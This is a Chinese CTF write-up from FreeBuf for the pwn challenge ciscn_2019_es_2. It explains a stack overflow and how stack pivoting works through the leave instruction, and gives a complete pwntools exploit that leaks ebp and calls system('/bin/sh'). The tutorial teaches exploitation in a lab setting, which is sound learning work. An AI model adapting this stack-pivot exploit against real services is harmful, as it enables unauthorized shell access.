freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

利用栈迁移getshell
0xdeadbeef 2021-11-12 22:39:04 131457

题目:ciscn_2019_es_2

代码审计

main()函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  puts("Welcome, my friend. What's your name?");
  vul();
  return 0;
}

main()函数没啥好看的直接跳过吧 ^o^。

vul()函数

int vul()
{
  char s[40]; // [esp+0h] [ebp-28h] BYREF  #s在栈里大小0x28

  memset(s, 0, 0x20u);
  read(0, s, 0x30u);  #read函数读取0x30大小的数据到s里。
  printf("Hello, %s\n", s);
  read(0, s, 0x30u);
  return printf("Hello, %s\n", s);
}

这里我们发现能够溢出但不完全溢出。: (

思路

整理思路:1、存在栈溢出 2、可以尝试栈迁移

Tips:栈迁移通过leave指令改变ebp,esp构造一个新的栈

我们尝试通过栈迁移构造一个新的栈然后把我们的rop链写到新的栈里。

一开始我是想迁移到bss段上但是,bss段不具有可执行权限因此迁移上去无法getshell。

bss无权限

换个思路。

Tips:leave指令一般出现在函数执行完结尾的地方

leave指令相当于
mov esp,ebp
pop ebp

开头

开头

push ebp
mov ebp,esp

leave指令不仅会调整堆栈,还会恢复推入堆栈的RBP EBP BP的先前值。

vul()函数汇编代码

.text:08048595 ; int vul()
.text:08048595                 public vul
.text:08048595 vul             proc near               ; CODE XREF: main+26↓p
.text:08048595
.text:08048595 s               = byte ptr -28h
.text:08048595
.text:08048595 ; __unwind {
.text:08048595                 push    ebp
.text:08048596                 mov     ebp, esp
.text:08048598                 sub     esp, 28h
.text:0804859B                 sub     esp, 4
.text:0804859E                 push    20h ; ' '       ; n
.text:080485A0                 push    0               ; c
.text:080485A2                 lea     eax, [ebp+s]
.text:080485A5                 push    eax             ; s
.text:080485A6                 call    _memset
.text:080485AB                 add     esp, 10h
.text:080485AE                 sub     esp, 4
.text:080485B1                 push    30h ; '0'       ; nbytes
.text:080485B3                 lea     eax, [ebp+s]
.text:080485B6                 push    eax             ; buf
.text:080485B7                 push    0               ; fd
.text:080485B9                 call    _read
.text:080485BE                 add     esp, 10h
.text:080485C1                 sub     esp, 8
.text:080485C4                 lea     eax, [ebp+s]
.text:080485C7                 push    eax
.text:080485C8                 push    offset format   ; "Hello, %s\n"
.text:080485CD                 call    _printf
.text:080485D2                 add     esp, 10h
.text:080485D5                 sub     esp, 4
.text:080485D8                 push    30h ; '0'       ; nbytes
.text:080485DA                 lea     eax, [ebp+s]
.text:080485DD                 push    eax             ; buf
.text:080485DE                 push    0               ; fd
.text:080485E0                 call    _read
.text:080485E5                 add     esp, 10h
.text:080485E8                 sub     esp, 8
.text:080485EB                 lea     eax, [ebp+s]
.text:080485EE                 push    eax
.text:080485EF                 push    offset format   ; "Hello, %s\n"
.text:080485F4                 call    _printf
.text:080485F9                 add     esp, 10h
.text:080485FC                 nop
.text:080485FD                 leave
.text:080485FE                 retn
.text:080485FE ; } // starts at 8048595
.text:080485FE vul             endp
.text:080485FE

思路:我们第一遍先泄露ebp的地址。

# -*- coding: UTF-8 -*-
#by 小渔xiaoyu
from pwn import*
from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
elf = ELF('./ciscn_2019_es_2')
sh = elf.process()
#leak_ebp_addr
payload = "A"*0x20+"B"*8
sh.recvuntil("Welcome, my friend. What's your name?\n")
sh.send(payload)
sh.recvuntil('BBBBBBBB')
ebp_addr  = u32(sh.recv(4))
print 'ebp_addr [+]:',hex(ebp_addr)

泄露ebp地址

第二遍我们利用要栈迁移通过leave指令改变ebp,esp构造一个新的栈,然后把ROP链写到新的栈里。

此时我们构造exp:

payload ="A"*0x4+p32(system_plt)+p32(0)+p32(ebp_addr-0x28)+'/bin/sh'
payload+=payload.ljust(0x28,'\x00')
payload+=p32(ebp_addr-0x38)+p32(leave_addr)

此时的栈布局大概是这样的。

栈布局

我们在ebp_addr-0x38这个地址上存放了leave_addr的地址。当程序执行到ebp_addr-0x38这里时会ret到leave指令的地址执行leave指令。

动态调试

这里动态调试会更清楚一点。

1

2

3

我们看到我们第二遍的payload打过去此时栈里情况和前面的图是一样的,此时esp还没有向下寻址。

我们继续向下单步调试。

计算

这里我们可以看到我们把/bin/sh写到了ebp_addr-0x28这个位置。

计算

4

到这里我们看到此时esp寻址到我们payload里面放的'AAAA' 0xffa8c610接下来esp继续向下寻址势必要

执行ret指令。在我们payload里ret应该是到system_plt的,我们继续单步运行。

5

在esp寻址到nop指令的时候我们看看ebp内的参数,我们发现此时栈底存放这参数是'AAAA'其次是我们payload里放的leave指令地址。

我们继续单步

image

很奇怪,'AAAA'后面的leave不见了。我们回到leave指令的Tips,

leave指令相当于
mov esp,ebp
pop ebp

实际上这就很好的解释了为什么。我们可以看到执行完leave指令之后原本ebp的值被放到了esp寄存器里,
而ebp参数被pop弹出那被弹出的就是leave指令的地址,而弹出的地址被弹到了eip寄存器。
eip寄存器的作用就是读取下一跳地址。
继续运行程序就会ret到我们payload里面放的leave指令的地址,再执行一边leave指令。
ok到此正好把leave指令的作用讲了一遍。

5

6

后面执行完leave指令之后ret到payload里面的system地址。

看这张图就差不多懂了我这里就不在解释了和前面一样。调试到这差不多了。

这道题其实是一道很不错的栈迁移的例题正好拿来做了一遍顺便再巩固一下。

EXP

贴一下最后的exp:

# -*- coding: UTF-8 -*-
#by 小渔xiaoyu
from pwn import*
context(os='linux', arch='i386', log_level='debug')
elf = ELF('./ciscn_2019_es_2')
sh = elf.process()
#sh = remote('node4.buuoj.cn',26422)
system_plt = elf.plt['system']
leave_addr = 0x08048562
print(hex(system_plt))
#leak_ebp_addr
payload = "A"*0x20+"B"*8
sh.recvuntil("Welcome, my friend. What's your name?\n")
sh.send(payload)
sh.recvuntil('BBBBBBBB')
ebp_addr  = u32(sh.recv(4))
print 'ebp_addr [+]:',hex(ebp_addr)
#getshell
payload ="A"*0x4+p32(system_plt)+p32(0)+p32(ebp_addr-0x28)+'/bin/sh'
payload=payload.ljust(0x28,'\x00')
payload+=p32(ebp_addr-0x38)+p32(leave_addr)
sh.send(payload)
sh.interactive()
# 漏洞分析 # CTF # 网络安全技术
本文为 0xdeadbeef 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Pwn-Buuoj刷题
0xdeadbeef LV.5
这家伙太懒了,还未填写个人描述!
  • 17 文章数
  • 10 关注者
Python Pwn
2022-11-18
linux Pwn环境搭建
2021-12-11
栈迁移利用
2021-11-29
文章目录